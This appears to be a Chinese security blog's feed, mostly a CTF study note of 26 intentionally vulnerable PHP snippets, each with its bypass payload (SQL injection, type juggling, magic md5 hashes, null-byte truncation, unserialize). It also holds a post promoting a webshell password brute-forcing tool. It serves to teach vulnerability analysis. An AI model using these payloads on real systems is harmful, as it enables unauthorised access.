Hackfun - | Secblog | Pentest | Auditing | Sectool | CTF Write-up https://www.gravatar.com/avatar/fa00ae710729f4b21e97bcbd3734b9cb Network Security Blog 2018-04-26T08:45:31.063Z https://hackfun.org/ Jing Ling [email protected] Hexo Cheetah-GUI https://hackfun.org/2018/04/26/Cheetah-GUI/ 2018-04-26T07:10:00.000Z 2018-04-26T08:45:31.063Z 0x00 介绍

Cheetah是一款基于字典的webshell密码爆破工具,Cheetah的工作原理是能根据自动探测出的web服务设置相关参数一次性提交大量的探测密码进行爆破,爆破效率是其他普通webshell密码暴力破解工具上千倍。此版本是Cheetah的图形用户版本,项目地址:https://github.com/sunnyelf/cheetah-gui

0x01 特点

  • 速度极快
  • 支持代理
  • 支持批量爆破
  • 自动伪造请求
  • 自动探测web服务设置相关参数
  • 支持读取和去重超大密码字典文件
  • 支持python 2.x和3.x
  • 目前支持php、jsp、asp、aspx webshell

0x02 下载使用

git clone https://github.com/sunnyelf/cheetah-gui.gitcd cheetahpython cheetah.py

0x03 问题

如果在使用过程中出现了bug欢迎提交issues,我会及时回复并修复。

]]>
<h1 id="0x00-介绍"><a href="#0x00-介绍" class="headerlink" title="0x00 介绍"></a>0x00 介绍</h1><p>Cheetah是一款基于字典的webshell密码爆破工具,Cheetah的工作原理是能根据自动探测
CTF中常见PHP特性学习笔记 https://hackfun.org/2018/01/09/CTF中常见PHP特性学习笔记/ 2018-01-09T09:00:00.000Z 2018-01-09T11:07:07.000Z 01 extract变量覆盖

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'ctf{xxx}';
}
else
{
echo'Oh.no';
}
}
?>

writeup

资料:

http://localhost/php_bugs/extract1.php?shiyan=&flag=1

extract变量覆盖

02 绕过trim函数过滤

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
$info = "";
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告
if(!isset($_GET['number'])){
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt
die("have a fun!!"); //die — 等同于 exit()
}
foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式
foreach($global_var as $key => $value) {
$value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)
is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
}
}
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
{
$info="sorry, you cann't input a number!";
}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{
$info = "number must be equal to it's integer!! ";
}
else
{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}
else
{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}
else
{
$info=$flag;
}
}
}
echo $info;

writeup

由于is_numeric没有检测\0(%00),所以导致is_numeric($_REQUEST['number'])False,成功跳过检测。

is_numeric

由于trim函数没有过滤\f(%0c),而intval函数而跳过\f(%0c),导致$value1$value2都为相等,进入到is_palindrome_number函数成功通过$number[$i] !== $number[$j]检测返回false,最终进入到获取$flag最后的else里。

trim

资料

http://localhost/php_bugs/02.php?number=%0c1

03 多重加密

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_COOKIE);
//把一个或多个数组合并为一个数组
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
//函数执行一条 MySQL 查询。
return @mysql_fetch_array($sql);
//从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
}
}
if(isset($requset['token']))
//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}
// else{
// header('Location: index.php?error=1');
// }
?>

writeup

1
2
3
4
5
<?php
$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
?>

eJxLtDK0qs60MrBOAuJaAB5uBBQ=

http://127.0.0.1/php_bugs/03.php?token=eJxLtDK0qs60MrBOAuJaAB5uBBQ=

04 SQL注入WITH ROLLUP绕过

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="proxy.php?url=" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
//检测变量是否是数组
$StrValue=implode($StrValue);
//返回由数组元素组合成的字符串
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
//匹配成功一次后就会停止匹配
print "水可载舟,亦可赛艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
//遍历数组
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("localhost","root","root");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="test";
mysql_select_db($db, $con);
//设置活动的 MySQL 数据库
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
echo $sql;
echo "</br>";
$query = mysql_query($sql);
//执行一条 MySQL 查询
var_dump(mysql_num_rows($query));
echo "</br>";
if (mysql_num_rows($query) == 1) {
//返回结果集中行的数目
$key = mysql_fetch_array($query);
//返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>

writeup

资料:

pwd&uname=admin' group by pwd with rollup limit 1 offset 1#--

with rollup

with rollup

05 ereg正则%00截断

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
$flag = "flag";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

writeup

资料:

http://localhost/php_bugs/05.php?password=1e9%00*-*

06 strcmp比较字符串

code

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$flag = "flag";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>

writeup

1
2
int strcmp ( string $str1 , string $str2 )
// 参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

在PHP官方文档中,说明了strcmp函数在5.2版本和5.3版本的区别。

Note a difference between 5.2 and 5.3 versions

echo (int)strcmp(‘pending’,array());
will output -1 in PHP 5.2.16 (probably in all versions prior 5.3)
but will output 0 in PHP 5.3.3

Of course, you never need to use array as a parameter in string comparisions.

5.3之前版本如果传入数组参数strcmp函数将会返回-1:

strcmp漏洞

在5.3.3版本之后使用这个函数传入数组参数比较会返回0,也就是判定其相等,后来PHP官方后面的版本中修复了这个漏洞,当传入非字符串参数导致报错的时函数不返回任何值,也就是返回NULL,但是由于这里==弱类型判断,导致NULL==0bool(true)

http://localhost/php_bugs/06.php?a[]=1

strcmp漏洞

07 sha()函数比较绕过

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
var_dump($_GET['name']);
echo "</br>";
var_dump($_GET['password']);
var_dump(sha1($_GET['name']));
var_dump(sha1($_GET['password']));
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else
echo '<p>Login first!</p>';
?>

writeup

由于sha1()函数和md5()函数在处理传入参数为数组时会报警并都返回NULL,构造并传入2个不同数组便可以成功通过if ($_GET['name'] == $_GET['password'])else if (sha1($_GET['name']) === sha1($_GET['password']))检测。

http://localhost/php_bugs/07.php?name[]=1&password[]=2

SHA函数漏洞

08 SESSION验证绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<html>
<head>
<title>Get flag</title>
</head>
<body>
<?php
session_start();
require 'flag.php';
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p class="alert">Wrong guess.</p>';
}
// Unpredictable seed
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
<section class="login">
<ul class="list">
<?php
for ($i=0; $i<3; $i++)
print '<li>' . mt_rand (0, 0xffffff) . '</li>';
$_SESSION['password'] = mt_rand (0, 0xffffff);
?>
</ul>
<form method="get">
<input type="text" required name="password" placeholder="Next number" /><br/>
<input type="submit"/>
</form>
</section>
</body>
</html>

writeup

关键判断语句if ($_GET['password'] == $_SESSION['password']),可以手动删除请求时的cookies,使$_SESSION['password']字段为NULL,并使传入password参数为NULL

http://localhost/php_bugs/08.php?password=

SESSION验证绕过

SESSION验证绕过

资料:

09 密码md5比较绕过

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
//配置数据库
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("localhost", "root", "root");
mysql_select_db("test") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
//赋值
$user = $_POST[user];
$pass = md5($_POST[pass]);
//sql语句
$sql = "select pwd from test where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {
//如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>

writeup

密码md5比较绕过

?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

资料:

10 urldecode二次编码绕过

code

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: {*****************} </p>";
}
?>

hURL编码为:%68,二次编码为%2568,绕过

http://localhost/php_bugs/10.php?id=%2568ackerDJ

资料:

11 sql闭合绕过

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("localhost", "root", "root");
mysql_select_db("test") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
//exp:pass=1&user=admin')#
//sql:select user from test where (user='admin')#
$sql = "select user from test where (user='$user') and (pwd='$pass')";
echo $sql;
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pwd"];
if($row['user']=="admin") {
echo "<p>Logged in! Key: *********** </p>";
}
if($row['user'] != "admin") {
echo("<p>You are not admin!</p>");
}
}
?>

构造exp闭合绕过
pass=1&user=admin')#

12 X-Forwarded-For绕过指定IP地址

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];
else
$cip = "0.0.0.0";
return $cip;
}
$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>

writeup

HTTP头添加X-Forwarded-For:1.1.1.1

13 md5加密相等绕过

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "flag{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>

writeup

http://localhost/php_bugs/13.php?a=240610708

==对比的时候会进行数据转换,根据PHP手册的描述:如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。其中0e是科学计数法,因为涉及到数字内容,所以就会转换为数值,而0e830400451993494058024219903391转换为数值也就是0*(10^830400451993494058024219903391) = 0,因此只需找到生成的MD5值类似0exxxxxxxxx的字符串即可。

1
2
md5('240610708'); // 0e462097431906509019562988736854
md5('QNKCDZO'); // 0e830400451993494058024219903391

14 intval函数向下取整

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if($_GET[id]) {
$conn = mysql_connect("localhost", "root", "root");
mysql_select_db("test") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$id = intval($_GET[id]);
echo $id;
$query = @mysql_fetch_array(mysql_query("select flag from ctf where id='$id'"));
echo $_GET[id];
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[flag]);
}
}
?>

1024.1绕过

writeup

intval函数

资料:

15 strpos数组绕过NULL与ereg正则%00截断

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$flag = "flag";
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
?>

writeup

  • 方法一:
    既要是纯数字,又要有’#biubiubiu’strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,所以符合要求.
    所以输入nctf[]=
    那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求.

  • 方法二:
    字符串截断,利用ereg()NULL截断漏洞,绕过正则过滤
    http://localhost/php_bugs/16.php?nctf=1%00#biubiubiu 错误
    需将#编码
    http://localhost/php_bugs/16.php?nctf=1%00%23biubiubiu
    正确

16 SQL注入or绕过

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){ //get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置
$str=stripslashes($str); //返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
//$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
?>

writeup

1
$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';

?username=admin\'\' AND pass=\''or 1 #&password=

17 密码md5比较绕过

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user=' $user '"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
//strcasecmp:0 - 如果两个字符串相等
echo "<p>Logged in! Key: flag{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>

writeup

1
//select pw from ctf where user=''and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #

1
?user='and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

18 md5()函数===使用数组绕过

code

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>

writeup

若为md5($_GET['username']) == md5($_GET['password'])
则可以构造:
http://localhost/php_bugs/18.php?username=QNKCDZO&password=240610708
因为==对比的时候会进行数据转换,0eXXXXXXXXXX 转成0
也可以使用数组绕过
http://localhost/php_bugs/18.php?username[]=1&password[]=2

但此处是===,只能用数组绕过,PHP对数组进行hash计算都会得出null的空值
http://localhost/php_bugs/18.php?username[]=1&password[]=2

19 ereg()函数strpos() 函数用数组返回NULL绕过

code

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$flag = "flag";
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>

writeup

  • 方法一:
    ereg()正则函数可以用%00截断
    http://localhost/php_bugs/19.php?password=1%00--

  • 方法二:
    password构造一个arr[],传入之后,ereg是返回NULL的,===判断NULLFALSE,是不相等的,所以可以进入第二个判断,而strpos处理数组,也是返回NULL,注意这里的是!==NULL!==FALSE,条件成立,拿到flag
    http://localhost/php_bugs/19.php?password[]=

20 十六进制与数字比较

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>

writeup

这里,它不让输入1到9的数字,但是后面却让比较一串数字,平常的方法肯定就不能行了,大家都知道计算机中的进制转换,当然也是可以拿来比较的,0x开头则表示16进制,将这串数字转换成16进制之后发现,是deadc0de,在开头加上0x,代表这个是16进制的数字,然后再和十进制的 3735929054比较,答案当然是相同的,返回true拿到flag

1
2
echo dechex ( 3735929054 ); // 将3735929054转为16进制
结果为:deadc0de

构造:
http://localhost/php_bugs/20.php?password=0xdeadc0de

21 数字验证正则绕过

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>

writeup

0 >= preg_match('/^[[:graph:]]{12,}$/', $password)
意为必须是12个字符以上(非空格非TAB之外的内容)

1
2
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))

意为匹配到的次数要大于6次

1
2
3
4
5
6
7
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;

意为必须要有大小写字母,数字,字符内容三种与三种以上

1
if ("42" == $password) echo $flag;

意为必须等于42

答案:

1
2
3
42.00e+00000000000
420.000000000e-1

资料:

22 弱类型整数大小比较绕过

code

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
$flag = "flag{test}";
$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
}
?>

writeup

is_numeric($temp)?die("no numeric"):NULL;
不能是数字

1
2
3
if($temp>1336){
echo $flag;
}

又要大于1336

利用PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。如果输入一个1337a这样的字符串,在is_numeric中返回true,然后在比较时被转换成数字1337,这样就绕过判断输出flag

http://localhost/php_bugs/22.php?password=1337a

23 md5函数验证绕过

code

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
$flag = 'flag{test}';
$temp = $_GET['password'];
if(md5($temp)==0){
echo $flag;
}
?>

if(md5($temp)==0)
要使md5函数加密值为0

writeup

  • 方法一:
    使password不赋值,为NULLNULL == 0true
    http://localhost/php_bugs/23.php?password=
    http://localhost/php_bugs/23.php

  • 方法二:
    经过MD5运算后,为0e******的形式,其结果为0*10n次方,结果还是零
    http://localhost/php_bugs/23.php?password=240610708
    http://localhost/php_bugs/23.php?password=QNKCDZO

24 md5函数true绕过注入

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
$link = mysql_connect('localhost', 'root', 'root');
if (!$link) {
die('Could not connect to MySQL: ' . mysql_error());
}
// 选择数据库
$db = mysql_select_db("security", $link);
if(!$db)
{
echo 'select db error';
exit();
}
// 执行sql
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
var_dump($sql);
// SELECT * FROM users WHERE password = '276f722736c95d99e921722cf9ed621c'
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>

writeup

$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
md5($password,true)
md5后的hex转换成字符串

如果包含'or'xxx这样的字符串,那整个sql变成

SELECT * FROM admin WHERE pass = ''or'xxx'就绕过了

字符串:ffifdyop

md5后,276f722736c95d99e921722cf9ed621c
hex转换成字符串:'or'6<trash>

构造:?password=ffifdyop

资料:

25 switch没有break 字符与0比较绕过

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
// error_reporting(0);
if (isset($_GET['which']))
{
$which = $_GET['which'];
switch ($which)
{
case 0:
print('arg');
// break;
case 1:
case 2:
require_once $which.'.php';
echo $flag;
break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}
}
?>

writeup

让我们包含当前目录中的flag.php,给whichflag,这里会发现在case 0case 1的时候,没有break,按照常规思维,应该是0比较不成功,进入比较1,然后比较2,再然后进入default,但是事实却不是这样,事实上,在 case 0的时候,字符串和0比较是相等的,进入了case 0的方法体,但是却没有break,这个时候,默认判断已经比较成功了,而如果匹配成功之后,会继续执行后面的语句,这个时候,是不会再继续进行任何判断的。也就是说,我们which传入flag的时候,case 0比较进入了方法体,但是没有break,默认已经匹配成功,往下执行不再判断,进入2的时候,执行了require_once flag.php

PHP中非数字开头字符串和数字 0比较==都返回True

因为通过逻辑运算符让字符串和数字比较时,会自动将字符串转换为数字.而当字符串无法转换为数字时,其结果就为0了,然后再和另一个0比大小,结果自然为ture。注意:如果那个字符串是以数字开头的,如6ldb,它还是可以转为数字6的,然后和0比较就不等了(但是和6比较就相等)
if($str==0) 判断 和 if( intval($str) == 0 ) 是等价的

1
2
3
4
5
可以验证:
<?php
$str="s6s";
if($str==0){ echo "返回了true.";}
?>

要字符串与数字判断不转类型方法有:

  • 方法一:
    $str="字符串";if($str===0){ echo "返回了true.";}

  • 方法二:
    $str="字符串";if($str=="0"){ echo "返回了true.";} ,

此题构造:http://localhost/php_bugs/25.php?which=flag

资料:

26 unserialize()序列化

code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<!-- 题目:http://web.jarvisoj.com:32768 -->
<!-- index.php -->
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
<!-- shield.php -->
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
<!-- showimg.php -->
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
//stripos — 查找字符串首次出现的位置(不区分大小写)
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>

writeup

说明flagpctf.php,但showimg.php中不允许直接读取pctf.php,只有在index.php中可以传入变量class
index.phpShield类的实例$X = unserialize($g)$g = $_GET['class'];$X中不知$filename变量,但需要找的是:$filename = "pctf.php",现$X已知,求传入的class变量值。
可以进行序列化操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!-- answer.php -->
<?php
require_once('shield.php');
$x = class Shield();
$g = serialize($x);
echo $g;
?>
<!-- shield.php -->
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = 'pctf.php') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

得到:
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
构造:
http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

]]>
<h2 id="01-extract变量覆盖"><a href="#01-extract变量覆盖" class="headerlink" title="01 extract变量覆盖"></a>01 extract变量覆盖</h2><p><strong>code</strong><
给hexo添加本地搜索站内功能 https://hackfun.org/2017/10/04/给hexo添加本地搜索站内功能/ 2017-10-04T10:19:43.000Z 2017-10-04T20:36:40.118Z 前言

